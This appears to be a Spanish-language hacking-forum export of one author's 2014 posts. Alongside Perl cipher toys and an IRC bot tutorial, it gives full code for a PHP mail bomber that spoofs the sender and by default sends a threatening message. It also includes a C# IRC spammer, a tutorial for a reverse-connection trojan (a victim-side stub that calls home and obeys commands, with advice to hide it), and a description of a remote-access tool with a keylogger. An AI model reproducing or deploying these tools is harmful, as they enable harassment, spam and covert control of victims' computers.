= Menu       =
==============
1 - Encode   =
2 - Decode   =
3 - Exit     =
==============
);

    print "\n[+] Option : ";
    chomp( my $op = <stdin> );

    if ( $op eq "3" ) {
        copyright();
        <stdin>;
        exit(1);
    }

    print "\n[+] Enter text : ";
    chomp( my $text = <stdin> );

    print "\n[+] Result ...\n\n";

    if ( $op eq "1" ) {
        print cifrado_cesar($text);
        <stdin>;
        menu();
    }
    elsif ( $op eq "2" ) {
        print descifrado_cesar($text);
        <stdin>;
        menu();
    }
    else {
        menu();
    }

}

sub cifrado_cesar {

    my @re;

    @letras = split( //, $_[0] );

    for my $letra (@letras) {

        if ( $letra ne " " ) {

            $letrafinal = chr( ord($letra) + 3 );

            $letrafinal =~ s/{/a/;
            $letrafinal =~ s/\|/b/;
            $letrafinal =~ s/}/c/;

            push( @re, $letrafinal );

        }
        else {
            push( @re, " " );
        }
    }

    return @re;

}

sub descifrado_cesar($texto) {

    my @re;

    @letras = split( //, $_[0] );

    for my $letra (@letras) {

        if ( $letra ne " " ) {

            $letrafinal = chr( ord($letra) - 3 );

            $letrafinal =~ s/\^/x/;
            $letrafinal =~ s/_/y/;
            $letrafinal =~ s/`/z/;

            push( @re, $letrafinal );

        }
        else {
            push( @re, " " );
        }
    }

    return @re;

}

# The End ?
#92
Perl / [Perl] Ejemplo de Cifrado Murcielago
Noviembre 21, 2014, 10:11:36 AM
Un simple ejemplo en Perl sobre como realizar el cifrado Murcielago.

Código: perl

# !usr/bin/perl
# Cifrado Murcielago
# Coded By Doddy Hackman in the year 2014

head();
menu();
copyright();

# Functions

sub head {
    print "\n-- == Cifrado Murcielago == --\n";
}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2014 == --\n";
}

sub menu {
    print qq(
===============
= Menu        =
===============
1 - Cifrar    =
2 - Descifrar =
3 - Exit      =
===============
);

    print "\n[+] Option : ";
    chomp( my $op = <stdin> );

    if ( $op eq "3" ) {
        copyright();
        <stdin>;
        exit(1);
    }

    print "\n[+] Enter text : ";
    chomp( my $text = <stdin> );

    print "\n[+] Result ...\n\n";

    if ( $op eq "1" ) {
        print cifrado_murcielago($text);
        <stdin>;
        menu();
    }
    elsif ( $op eq "2" ) {
        print descifrado_murcielago($text);
        <stdin>;
        menu();
    }
    else {
        menu();
    }

}

sub cifrado_murcielago {
    my $texto = shift;
    $texto =~ tr/murcielagoMURCIELAGO/01234567890123456789/;
    return $texto;
}

sub descifrado_murcielago {
    my $texto = shift;
    $texto =~ tr/01234567890123456789/murcielagoMURCIELAGO/;
    return $texto;
}

# The End ?
#93
Back-end / [PHP] DH Bomber 0.5
Noviembre 14, 2014, 10:28:29 AM
Un simple mail bomber en PHP en la proxima version voy a usar correos gmail para enviar mensajes , no el mailer local de la pagina web.

Una imagen :



El codigo :

Código: php

<?php

// DH Bomber 0.5
// (C) Doddy Hackman 2014

echo '
<style type="text/css">


.main {
margin : -287px 0px 0px -490px;
border : White solid 1px;
BORDER-COLOR: #ffffff;
}


#pie {
position: absolute;
bottom: 0;
}

body,a:link {
background-color: #000000;
color:#ffffff;
Courier New;
cursor:crosshair;
font-size: small;
}

input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
background-color:black;color:#ffffff;
border: solid 1px #ffffff;
border-color:#ffffff
}

a:link,a:visited,a:active {
color: #ffffff;
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
text-decoration: none;
}

</style>';

echo "<title>DH Bomber 0.5 (C) Doddy Hackman 2014</title>";

echo '<center><h1>-- == DH Bomber 0.5 == --</h1></center>
<center>
<br>';

if (isset($_POST['bombers'])) {
   
    $cantidad_bien = 0;
    $cantidad_mal  = 0;
   
    $need = "";
    $i    = "";
    $need .= "MIME-Version: 1.0\n";
    $need .= "Content-type: text/html ; charset=iso-8859-1\n";
    $need .= "MIME-Version: 1.0\n";
    $need .= "From: " . $_POST['nombrefalso'] . " <" . $_POST['falso'] . ">\n";
    $need .= "To: " . $_POST['nombrefalso'] . "<" . $_POST['falso'] . ">\n";
    $need .= "Reply-To:" . $_POST['falso'] . "\n";
    $need .= "X-Priority: 1\n";
    $need .= "X-MSMail-Priority:Hight\n";
    $need .= "X-Mailer:Widgets.com Server";
   
    echo "
<table border=1>
<td><center><h2><a href=" . "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "" . ">Console</a></h2></center></td><tr>
<td><fieldset>\n\n";
   
    $leyendo_mailist = explode("\n", trim($_POST['mailist']));
    $mails           = array_filter($leyendo_mailist, 'trim');
   
    foreach ($mails as $mail) {
        for ($i = 1; $i <= $_POST['count']; $i++) {
            if (@mail($mail, $_POST['asunto'], $_POST['mensaje'], $need)) {
                $cantidad_bien++;
                echo "[<font color=#00FF00>Sent Successful</font>] Message <b>$i</b> to <b>" . htmlentities($mail) . "</b><br>";
                flush();
            } else {
                echo "[<font color=red>Send Fail</font>] Message <b>$i</b> to <b>" . htmlentities($mail) . "</b><br>";
                $cantidad_mal++;
            }
        }
        echo "<br>";
    }
   
    echo "<font color=#00FF00>[" . $cantidad_bien . "]</font> mails sent <font color=#00FF00>successfully</font>";
    echo "<br><font color=red>[" . $cantidad_mal . "]</font> mails sent <font color=red>failed</font>";
   
    echo "</fieldset></td></table>";
   
    if ($cantidad_bien == 0) {
        echo "<script>alert('Mails Not Send')</script>";
    } else {
        //echo "<script>alert('[".$cantidad_bien."] mails sent successfully')</script>";
    }
   
} else {
    echo '
<form action="" method="POST">
<table border="1">
<tr>
<td>FakeMail : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="falso" value="[email protected]" size="44" type="text"></td></tr><tr>
<td>FakeName : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="nombrefalso" value="Juancho" size="44" type="text"></td></tr><tr>
<td>Subjects : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="asunto" value="Hi Bitch" size="44" type="text"></td></tr><tr>
<td>Count : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="count" value="1" size="44" type="text"></td></tr><tr>
<td>Mailist : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><textarea name="mailist" rows="7" cols="41">[email protected]</textarea></td></tr><tr>
<td>Body : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><textarea name="mensaje" rows="7" cols="41">I will make your life a living hell</textarea></td></tr><tr>
</tr></tbody></table><br><br>
<input name="bombers" value="Send" type="submit">
</form>';
}

echo '
<br>
<h1>-- == (C) Doddy Hackman 2014 == --</h1>
</center>';

// The End ?

?>
#94
C# - VB.NET / [C#] DH Rat 0.3
Noviembre 07, 2014, 11:18:36 AM
Un simple Rat que hice en C# con las siguientes opciones :

  • Abrir y cerrar lectora
  • Listar archivos en un directorio
  • Borrar archivos y directorios
  • Ver el contenido de un archivo
  • Hacer que el teclado escriba solo
  • Abre Word y para variar las cosas el teclado escribe solo
  • Mandar mensajes
  • Hacer que la computadora hable (en ingles)
  • Listar procesos
  • Matar un proceso
  • Ejecutar comandos y ver el resultado
  • Volver loco al mouse por un rato
  • Ocultar y mostrar el taskbar
  • Ocultar y mostrar los iconos del escritorio
  • Keylogger incluido

    Una imagen :



    Version VideoTutorial



    Si lo quieren bajar lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#95
[Titulo] : Creacion de un Troyano de Conexion Inversa
[Lenguaje] : C#
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del servidor
0x03 : Creacion del cliente
0x04 : Probando el programa
0x05 : Bibliografia

-- =================--------

0x01 : Introduccion

Un troyano de conexion inversa es aquel en el que el administrador del troyano es el servidor y la
victima es el cliente , eso nos ayuda para que no le salte el firewall a la victima cuando ejecute aunque va a saltar el antivirus de todas formas si es server se vuelve conocido , los troyanos de conexion inversa es la forma moderna en la que aparecen todos los troyanos nuevos.
Al principio no encontraba ni ejemplos ni manuales de como hacer uno de troyano de conexion inversa en C# pero gracias a un ejemplo llamado "Reverse Connection RAT Example" hecho por xSilent de hackhound logre entender el funcionamiento

Sabiendo todo esto vamos hacer uno en C# con Visual Studio 2010.

Comencemos ...

0x02 : Creacion del servidor

Primero vamos a crear el servidor de la siguiente forma con visual studio :



Una vez creado el proyecto pongan lo siguientes namespaces al inicio del codigo :

Código: csharp

using System.Threading; // Lo usamos para poder manejar los hilos
using System.Net.Sockets; // Lo usamos para poder crear la conexion
using System.Net; // Lo usamos para poder crear la conexion
using System.Text.RegularExpressions; // Lo usamos para buscar en los strings usando expresiones regulares


Despues pongan las siguientes variables gobales al inicio del codigo :

Código: csharp

TcpListener tcp_server; // Establecemos la variable tcp_server como TcpListener
Thread thread_server; // Establecemos la variable thread_server Thread


Ahora vamos a crear una clase llamada ServerManager con el siguiente codigo :

Código: csharp

// Server Manager
// Coded By Doddy Hackman
// Credits :
// Rat Based on : http://www.hackforums.net/showthread.php?tid=827069v
// Thanks to xSilent

using System;
using System.Collections.Generic;
using System.Text;
using System.Net.Sockets; // Para el manejo de sockets
using System.IO; // Para el manejo de Streams
using System.Windows.Forms;  // Para el manejo de formularios
using System.Text.RegularExpressions; // Para el manejo de expresiones regulares

namespace server
{
    class ServerManager
    {
        public TcpClient manager; // Variable global para manejar el cliente
        public string ip; // Variable global para tener la IP

        public delegate void cargando_datos(ServerManager manager, string Message);
        public event cargando_datos evento_panel_control_now;

        public ServerManager(TcpClient manager)
        {
            this.manager = manager;
            string datos = manager.Client.RemoteEndPoint.ToString(); // Cargamos los datos de la conexion
            Match regex = Regex.Match(datos, "(.*):(.*)", RegexOptions.IgnoreCase); // Dividimos la ip y el puerto
            if (regex.Success) // Si se encontro ...
            {
                ip = regex.Groups[1].Value; // Guardamos la IP

            }

            manager.GetStream().BeginRead(new byte[] { 0 }, 0, 0, leo_al_idiot, null); // Seguimos leyendo
        }
        void leo_al_idiot(IAsyncResult contenido_leyendo)
        {
            try
            {
                StreamReader leyendo_now = new StreamReader(manager.GetStream()); // Leemos los datos de la conexion
                string mensaje_leyendo_now = leyendo_now.ReadLine(); // Cargamos los datos de la conexión en la variable string
                evento_panel_control_now(this, mensaje_leyendo_now); // Mandamos a la funcion los datos leidos con la variable string
                manager.GetStream().BeginRead(new byte[] { 0 }, 0, 0, leo_al_idiot, null); // Recargamos los datos
            }
            catch
            {
                //
            }

        }

        public void respondo_al_idiot(string mensaje_now)
        {
            try
            {
                StreamWriter te_mando_now = new StreamWriter(manager.GetStream()); // Creamos el stream para responder al cliente
                te_mando_now.WriteLine(mensaje_now); // Mandamos la respuesta
                te_mando_now.Flush(); // Refrescamos el buffer
            }
            catch
            {
                //
            }
        }

    }
}

// The End ?


El formulario del servidor lo vamos hacer de la siguiente forma :

  • 1 ListView con una columna que tiene de texto "Idiots Found" y ponen la propiedad "View" en "Details"
  • 3 Botones con el siguiente texto "Online","OpenCD","Close CD"

    Les tiene que quedar algo asi :



    Una vez hecho esto hacemos doble click en el primer boton llamado "Online" para poner el siguiente codigo :

    Código: csharp

    private void button1_Click(object sender, EventArgs e)
    {
    int port = 666; // Establecemos la variable port como int con el valor de 666 para usar como numero de puerto
    tcp_server = new TcpListener(IPAddress.Any, port); // Establecemos la conexion con el puerto usando tcp_server
    thread_server = new Thread(panel_control); // Establecemos el hilo thread_server para poder leer los datos
    thread_server.Start(); // Iniciamos el hilo thread_server
    }


    Despues del codigo del boton agreguen el siguiente codigo :

    Código: csharp

    public void panel_control()
    {
    tcp_server.Start(); // Iniciamos el servidor
    while (true) // Bucle eterno para poder enviar y recibir datos de la conexion
    {
    ServerManager socket_server_now = new ServerManager(tcp_server.AcceptTcpClient()); // Aceptamos la conexion entrante
    socket_server_now.evento_panel_control_now += new ServerManager.cargando_datos(evento_panel_control); // Usamos la clase ServerManager para manejar
    // los datos de la conexion pendiente
    }
    }

    void evento_panel_control(ServerManager vengo,string data)
    {
    Match regex = Regex.Match(data, "-ACATOY-LLEGUE-ACATOY-", RegexOptions.IgnoreCase); // Usamos la expresion regular
    // para controlar que se encuentre
    // el texto "-ACATOY-LLEGUE-ACATOY-" en la variable string data
    if (regex.Success) // Si se encuentra ...
    {
    Invoke(new _NewIdiot(NewIdiot),vengo); // Llamamos la funcion NewIdiot para agregar un cliente mas
    }

    regex = Regex.Match(data, "-RtaCommand-(.*)-RtaCommand-", RegexOptions.IgnoreCase); // Si encontramos una respuesta
    // enviada por el servidor usamos la expresion regular para extraer la respuesta del servidor que esta entre los dos
    // -RtaCommand-
    if (regex.Success) // Si se encuentra ...
    {
    MessageBox.Show("[+] Status : "+regex.Groups[1].Value); // Mostramos la respuesta en MessageBox
    }
    }

    delegate void _NewIdiot(ServerManager vengo);
    void NewIdiot(ServerManager vengo)
    {
    ListViewItem agregar = new ListViewItem(); // Creamos un item nuevo con la variable agregar
    agregar.Text = vengo.ip; // Agregamos como texto la IP
    agregar.Tag = vengo; // Agregamos como Tag los datos de "vengo"
    listView1.Items.Add(agregar); // Agregamos el nuevo item a la lista
    }


    Todos estos pasos les deberia quedar asi :



    Ahora vamos hacer doble click el segundo boton que tiene como texto "OpenCD" para poner el siguiente codigo :

    Código: csharp

    ServerManager manager = (ServerManager)listView1.Items[listView1.FocusedItem.Index].Tag; // Capturamos el tag
    // del item seleccionado por el usuario
    manager.respondo_al_idiot("-Command-OpenCD-Command-"); // Mandamos la orden OpenCD al infectado seleccionado en el
    // listView


    Despues vamos agregar el siguiente codigo al segundo boton con texto "CloseCD" :

    Código: csharp

    ServerManager manager = (ServerManager)listView1.Items[listView1.FocusedItem.Index].Tag; // Capturamos el tag
    // del item seleccionado por el usuario
    manager.respondo_al_idiot("-Command-CloseCD-Command-"); // Mandamos la orden CloseCD al infectado seleccionado en el
    // listView


    Les deberia quedar algo asi los dos botones :



    Eso seria todo en el servidor.

    0x03 : Creacion del cliente

    Ahora pasamos al cliente , para eso creamos un proyecto nuevo de la siguiente forma :



    Una vez creado el proyecto establecemos los siguientes namespaces al inicio del codigo de la sguiente forma :

    Código: csharp

    using System.Net.Sockets; // Lo usamos para el manejo de sockets
    using System.Net; // Lo usamos para el manejo de sockets
    using System.IO; // Lo usamos para el manejo de streams
    using System.Runtime.InteropServices; // Lo usamos para poder usar la funcion de abrir y cerrar la lectora
    using System.Text.RegularExpressions; // Lo usamos para las expresiones regulares


    Despues de eso establecemos las siguientes variables globales con el siguiente codigo :

    Código: csharp

    [DllImport("winmm.dll", EntryPoint = "mciSendStringA")] // Importamos la dll winmm.dll para poder usar mciSendStringA
    public static extern void mciSendStringA(string comandonow, string retornonow, long longitudnow, long callbacknow);
    // Establecemos la funcion mciSendStringA para poder abrir y cerrar la lectora
    static TcpClient conexion_con_el_server = new TcpClient(); // Declaramos como static la variable TcpClient de conexion_con_el_server
    static IPEndPoint datos_para_la_conexion_con_el_server = null; // Declaramos como static la variable datos_para_la_conexion_con_el_server de tipo
    // IPEndPoint y la seteamos como null


    Ahora vamos al evento Load del formulario y ponemos el siguiente codigo :

    Código: csharp

    datos_para_la_conexion_con_el_server = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 666); // Establecemos la variable datos_para_la_conexion_con_el_server
    // como IPEndPoint con el valor de la IP y el puerto
    entrar_al_servidor(); // Realizamos la conexion


    Despues del codigo del Load del formulario agregamos estas tres funciones vitales para la conexion las cuales manejan el tema de enviar y recibir datos del servidor :

    Código: csharp

    public static void entrar_al_servidor()
    {
    try
    {
    conexion_con_el_server.Connect(datos_para_la_conexion_con_el_server); // Conectamos al servidor con los datos del server
    enviar_respuesta("-ACATOY-LLEGUE-ACATOY-"); // Enviamos el mensaje ACATOY al servidor para decirle que hay un nuevo idiot
    conexion_con_el_server.GetStream().BeginRead(new byte[] { 0 }, 0, 0,leer_datos_del_servidor, null); // Capturamos todos los datos provenientes
    // de la conexion y los vemos mejor en la funcion leer_datos_del_servidor
    }
    catch
    {
    //
    }
    }

    public static void leer_datos_del_servidor(IAsyncResult now)
    {
    try
    {
    StreamReader abriendo_conexion = new StreamReader(conexion_con_el_server.GetStream()); // Usamos la variable abriendo_conexion
    // de tipo StreamReader para poder leer los datos que vienen
    string contenido = abriendo_conexion.ReadLine(); // Ponemos los datos la conexion en la variable string contenido

    Match regex = Regex.Match(contenido, "-Command-OpenCD-Command-", RegexOptions.IgnoreCase); // Usamos la expresion regular
    // para verificar que nos envien la orden OpenCD
    if (regex.Success) // Si pasa ...
    {
    mciSendStringA("set CDAudio door open", "", 127, 0); // Usamos mciSendStringA para abrir la lectora
    enviar_respuesta("-RtaCommand-OpenCD OK-RtaCommand-"); // Le decimos al servidor que todo salio bien aunque nunca verifique nada xD
    }

    regex = Regex.Match(contenido, "-Command-CloseCD-Command-", RegexOptions.IgnoreCase); // Usamos la expresion regular CloseCD para verificar que
    // nos envien la orden de CloseCd
    if (regex.Success) // Si pasa ...
    {
    mciSendStringA("set CDAudio door closed", "", 127, 0); // Usamos mciSendStringA para cerrar la lectora
    enviar_respuesta("-RtaCommand-CloseCD OK-RtaCommand-"); // Le decimos al servidor que todo salio bien
    }

    conexion_con_el_server.GetStream().BeginRead(new byte[] { 0 }, 0, 0,leer_datos_del_servidor, null); // Actualizamos los datos de la conexion
    }
    catch
    {
    //
    }
    }

    public static void enviar_respuesta(string texto)
    {
    try
    {
    StreamWriter enviar_respuesta_now = new StreamWriter(conexion_con_el_server.GetStream()); // Declaramos la variable enviar_respuesta_now
    // como StreamWriter para poder mandar un mensaje
    enviar_respuesta_now.WriteLine(texto); // Mandamos el mensaje que tienen la variable string y argumento "texto"
    enviar_respuesta_now.Flush(); // Seteamos para que el mensaje se envie correctamente
    }
    catch
    {
    //
    }
    }


    Con eso ya estaria listo el cliente.

    0x04 : Probando el programa

    Como ven no estan sencillo como en delphi pero esto es la base de un troyano de conexion inversa terminado desde ahi pueden agregar varias funciones como un keylogger , muy pronto voy a publicar la version en C# de mi DH Rat.
    Para probar el programa carguen el servidor que vendria a ser el administrador de infectados , hagan click en el boton "Online" para activar el servidor , entonces abran el cliente que vendria a ser el stub infectado para la victima y veran un form vacio , despues pueden hacer invisible el form si quieren hacer el troyano decente , despues de eso si todo salio bien veran en el listview la ip de ustedes , entonces seleccionen la ip en el listview y hagan click en los botones de abrir y cerrar la lectora para comprobar que realmente funciona.

    Unas imagenes de como funciona :







    Eso seria todo.

    0x05 : Bibliografia

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

    --========--
      The End ?
    --========--

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Version VideoTutorial :



    Eso es todo.
#96
C# - VB.NET / [C#] ClapTrap IRC Bot 0.5
Octubre 24, 2014, 09:56:20 AM
Traduccion a C# de mi bot para IRC llamado ClapTrap.

Tiene las siguiente opciones :

  • Scanner SQLI
  • Scanner LFI
  • Buscador de panel de administracion
  • Localizador de IP
  • Buscador de DNS
  • Buscador de SQLI y RFI en google
  • Crack para hashes MD5
  • Cortador de URL usando tinyurl
  • HTTP FingerPrinting
  • Codificador base64,hex y ASCII 

    Unas imagenes :





    Si lo quieren bajar lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#97
C# - VB.NET / [C#] King Spam 0.2
Octubre 17, 2014, 11:09:05 AM
Un simple programa estilo consola en C# para hacer spam en un canal IRC desde un archivo de texto con el spam a enviar.

El codigo :

Código: csharp

// King Spam 0.2
// (C) Doddy Hackman 2014

using System;
using System.Collections.Generic;
using System.Text;

using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text.RegularExpressions;

namespace kingspam
{
    class Program
    {

        static string[] usuarios;

        static StreamReader leer_datos;
        static StreamWriter mandar_datos;

        static void printear_logo(string texto)
        {

            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine(texto);
            Console.ResetColor();

        }

        static void printear(string texto)
        {

            Console.ForegroundColor = ConsoleColor.Green;
            Console.WriteLine(texto);
            Console.ResetColor();

        }

        static void printear_especial(string texto)
        {

            Console.ForegroundColor = ConsoleColor.Yellow;
            Console.WriteLine(texto);
            Console.ResetColor();

        }

        static string print_form(string texto)
        {

            Console.ForegroundColor = ConsoleColor.Green;
            Console.Write(texto);
            Console.ResetColor();

            Console.ForegroundColor = ConsoleColor.Cyan;
            string resultado = Console.ReadLine();
            Console.ResetColor();

            return resultado;

        }

        static void Main(string[] args)
        {

            printear_logo("\n-- == KingSpam 0.2 == --\n\n");

            string host_irc = print_form("[+] Host : ");
            string port_irc = print_form("\n[+] Port : ");
            string canal_irc = print_form("\n[+] Channel : ");
            string nick_irc = print_form("\n[+] Nickname : ");
            string file_spam = print_form("\n[+] Filename with spam : ");
            string timeout = print_form("\n[+] Timeout : ");

            if (File.Exists(file_spam))
            {
                string[] spam_lista_now = System.IO.File.ReadAllLines(file_spam);
                List<string> spam_lista = new List<string> {""};
                foreach (string agregar in spam_lista_now)
                {
                    spam_lista.Add(agregar);
                }

                NetworkStream conexion;
                TcpClient irc;

                string host = host_irc;
                string nickname = nick_irc;
                string canal = canal_irc;
                string code = "";

                printear_especial("\n[+] Connecting ...\n");

                try
                {

                    irc = new TcpClient(host, Convert.ToInt32(port_irc));
                    conexion = irc.GetStream();
                    leer_datos = new StreamReader(conexion);
                    mandar_datos = new StreamWriter(conexion);

                    mandar_datos.WriteLine("NICK " + nickname);
                    mandar_datos.Flush();

                    mandar_datos.WriteLine("USER " + nickname + " 1 1 1 1");
                    mandar_datos.Flush();

                    mandar_datos.WriteLine("JOIN " + canal);
                    mandar_datos.Flush();

                    printear("[+] Online ...");
                   

                }

                catch
                {
                    printear("\n[-] Error\n");
                }

                while (true)
                {
                    while ((code = leer_datos.ReadLine()) != null)
                    {

                        Match regex = Regex.Match(code, "PING(.*)", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            string te_doy_pong = "PONG " + regex.Groups[1].Value;
                            mandar_datos.WriteLine(te_doy_pong);
                            mandar_datos.Flush();
                        }

                        regex = Regex.Match(code, ":(.*) 353 (.*) = (.*) :(.*)", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            string usuarios_lista = regex.Groups[4].Value;
                            usuarios = usuarios_lista.Split(' ');
                            printear("\n[+] Users Found : " + usuarios.Length + "\n");
                            foreach (string usuario in usuarios)
                            {
                                printear("[+] User : " + usuario);
                            }
                            printear_especial("\n[+] Spammer Online\n");

                            while (true)
                            {

                                System.Threading.Thread.Sleep(Convert.ToInt32(timeout) * 1000);

                                var azar = new Random();
                                int pos = azar.Next(spam_lista.Count);
                                string mensaje = spam_lista[pos];

                                if (mensaje != "")
                                {
                                    mandar_datos.WriteLine("PRIVMSG" + " " + canal + " " + mensaje);
                                    mandar_datos.Flush();
                                }

                                foreach (string usuario in usuarios)
                                {
                                    if (usuario != nick_irc)
                                    {
                                        if (spam_lista[pos] != "")
                                        {
                                            mandar_datos.WriteLine("PRIVMSG" + " " + usuario + " " + mensaje);
                                            mandar_datos.Flush();
                                        }
                                    }
                                }
                            }

                        }
                   
                       
                    }

                }

            }
            else
            {
                printear_especial("[-] Error loading file");
            }

            Console.ReadLine();
           
        }
    }
}

// The End ?


Imagenes :





Si lo quieren bajar lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#98
C# - VB.NET / [C#] Creacion de un IRC Bot
Octubre 03, 2014, 01:07:59 PM
[Titulo] : Creacion de un IRC Bot
[Lenguaje] : C#
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Conectando con el servidor
0x03 : Listando usuarios
0x04 : Mandar mensajes
0x05 : Recibir privados
0x06 : Reconocer comandos
0x07 : Testeando

-- =================--------

0x01 : Introduccion

Para comenzar esta breve manual sobre como hacer un IRC Bot en C# les aclaro que eh probado todo esto en Visual Studio 2010 usando como servidor IRC mi propia computadora usando IRC Plus para ello , lo pueden conseguir facilmente en internet y al parecer es compatible con Seven.
Los IRC Bot usados normalmente como spam tambien son usados para irc botnet o incluso como hacking tools , en este manual les enseñare a hacer spam y reconocer comandos
para hacking tools.

Comencemos ...

Primero tenemos que crear un proyecto de tipo "Aplicacion de Consola" pongan el NET Framework a 2.0 y pongan de nombre de proyecto "irc" como en la siguiente imagen :



Con el proyecto ya creado pasemos al siguiente punto.

0x02 : Conectando con el servidor

Para poder realizar la conexion vamos a necesitar los siguientes namespaces de esta forma :

Código: csharp

using System.Net; // Lo usamos para realizar la conexion
using System.Net.Sockets; // Lo mismo que la anterior
using System.IO; // Lo usamos para el manejo con los streams
using System.Text.RegularExpressions; // No es vital pero me encantan el uso de las expresiones regulares


Para poder realizar la conexion usamos los sockets de la siguiente forma :

Código: csharp

NetworkStream conexion; // Establecemos la variable conexion como NetworkStream
TcpClient irc; // Establecemos la variable irc como TcpClient
StreamReader leer_datos; // Establecemos la variable leer_datos como StreamReader
StreamWriter mandar_datos; // Establecemos la variable mandar_datos como SteamWriter

string host = "localhost"; // Establecemos la variable string host para tener el host del canal IRC
string nickname = "ClapTrap"; // Establecemos la variable nickname con el nick del bot
string canal = "#locos"; // Establecemos la variable canal con el nombre del canal
string code = ""; // Creamos la variable string que vamos a usar para leer los sockets
           
irc = new TcpClient(host, 6667); // Realizamos la conexion con el canal usando el host y el puerto 6667
conexion = irc.GetStream(); // Cargamos la conexion para poder leer los datos
leer_datos = new StreamReader(conexion); // Lo necesario para leer los datos de la conexion
mandar_datos = new StreamWriter(conexion); // Lo necesario para mandar comandos al canal IRC

mandar_datos.WriteLine("NICK " + nickname); // Usamos el comando NICK para entrar al canal usando el nick antes declarado
mandar_datos.Flush(); // Actualizamos la conexion

mandar_datos.WriteLine("USER " + nickname + " 1 1 1 1"); // Usamos el comando USER para confirmar el nickname
mandar_datos.Flush(); // ..

mandar_datos.WriteLine("JOIN " + canal); // Usamos el comando JOIN para entrar al canal
mandar_datos.Flush(); // ..


Si quieren probar en otro servidor IRC pueden cambiar los datos de las variables host,nickname,canal para poder acceder a su canal.

Una vez conectados creamos un blucle enterno para capturar los datos y terminar de realizar la conexion con el famoso ping pong el cual nos hace el  servidor para poder terminar de conectarnos , resolvemos este tema de la siguiente forma :

Código: csharp

while (true) // Mi bucle eterno
{
while ((code = leer_datos.ReadLine()) != null) // Leemos la conexion con la variable code
{
Console.WriteLine("Code : " + code); // No es necesario pero es para ver las respuestas del servidor

Match regex = Regex.Match(code, "PING(.*)", RegexOptions.IgnoreCase); // Detectamos el clasico PING para el PING PONG
// que nos hara el servidor IRC para verificar que estemos ahi y entrar al canal , aunque lo sigo haciendo despues
// para ver que no estemos muerto o algo asi xD
if (regex.Success) // Si se encontro algo
{
string te_doy_pong = "PONG " + regex.Groups[1].Value; // Capturamos lo que esta despues del ping y le damos al pong con los datos
mandar_datos.WriteLine(te_doy_pong); // Mandamos el comando de la variable anterior
mandar_datos.Flush(); // ..
}
}
}


Con esto ya estamos conectados.

0x03 : Listando usuarios

Para poder listar los usuarios agregamos la variabe global "usuarios" al inicio del codigo de la siguiente forma :

Código: csharp

static string[] usuarios; // Creamos el string[] usuarios para tener todos los nicks que estan en el canal


Entonces volvemos al bucle eterno que hicimos con while y agregamos despues del ping pong el siguiente codigo :

Código: csharp

regex = Regex.Match(code,":(.*) 353 (.*) = (.*) :(.*)", RegexOptions.IgnoreCase); // Capturamos los usuarios de todo el canal
// con el poder de las expresiones regulares
if (regex.Success) // Si los encontraron
{
string usuarios_lista = regex.Groups[4].Value; // Tenemos la variable con todos los nicks
usuarios = usuarios_lista.Split(' '); // Para mayor comodidad usamos un split para separar todos los espacios vacios que estan entre
// cada nick del canal para despues hacer una lista , que es la primera que declare en el codigo
foreach (string usuario in usuarios) // Usamos un for each para leer la lista usuarios y mostrar cada nick en la variable usuario
{
Console.WriteLine("[+] User : "+usuario); // Mostramos cada user
}
}


Como ven usamos las expresion regulares para buscar en el stream que nos manda la conexion con el servidor irc para despues seperar con split el resultado obtenido por espacios en blanco ' ' , despues usamos foreach para listar todos los usuarios en la consola.

0x04 : Mandar mensajes

Esta es una parte corta , para mandar un mensaje al canal de forma publica tenemos que usar el siguiente comando :

Código: csharp

PRIVMSG #locos Mensaje


Un ejemplo usando C# al cual deben agregar obviamente despues del blucle while() :

Código: csharp

mandar_datos.WriteLine("PRIVMSG" + " " + canal + " " + "Hi World"); // Mandamos un mensaje al canal
mandar_datos.Flush(); // ..


0x05 : Recibir privados

Bueno esta parte es un poco mas complicada , para poder detectar los mensajes privados que nos mandan tenemos que leer el stream que nos manda el canal y ver el comando PRIVMSG , en el comando PRIVMSG le seguira la procedencia , si es el canal sera un mensaje publico pero si no es el canal es un mensaje privado , eso lo podemos detectar con el siguiente codigo al cual vamos agregar despues del bucle while() : 

Código: csharp

regex = Regex.Match(code, ":(.*)!(.*) PRIVMSG (.*) :(.*)", RegexOptions.IgnoreCase); // Lo usamos para detectar los mensajes privados y publicos
if (regex.Success) // Si se encontro algo
{

mandar_datos.WriteLine("PRIVMSG" + " " + canal + " " + "Hi World"); // Mandamos un mensaje al canal
mandar_datos.Flush(); // ..

string dedonde = regex.Groups[1].Value; // Se detecta la procedencia del mensaje
string mensaje = regex.Groups[4].Value; // El mensaje en si
if (dedonde != canal) // Si la procedencia del mensaje no es el canal en si activamos esta condicion , cabe aclarar que si es el canal
// el que nos mando el mensaje es un mensaje PUBLICO , caso contrario es PRIVADO
{
Console.WriteLine("[+] "+dedonde+" dice : "+mensaje); // Mostramos el dueño del mensaje y el mensaje
}
}
             

Como ven detectamos los mensajes privados y los mostramos en la consola como lo hace mirc , mostrando el nick que nos esta hablando y despues el mensaje.

0x06 : Reconocer comandos

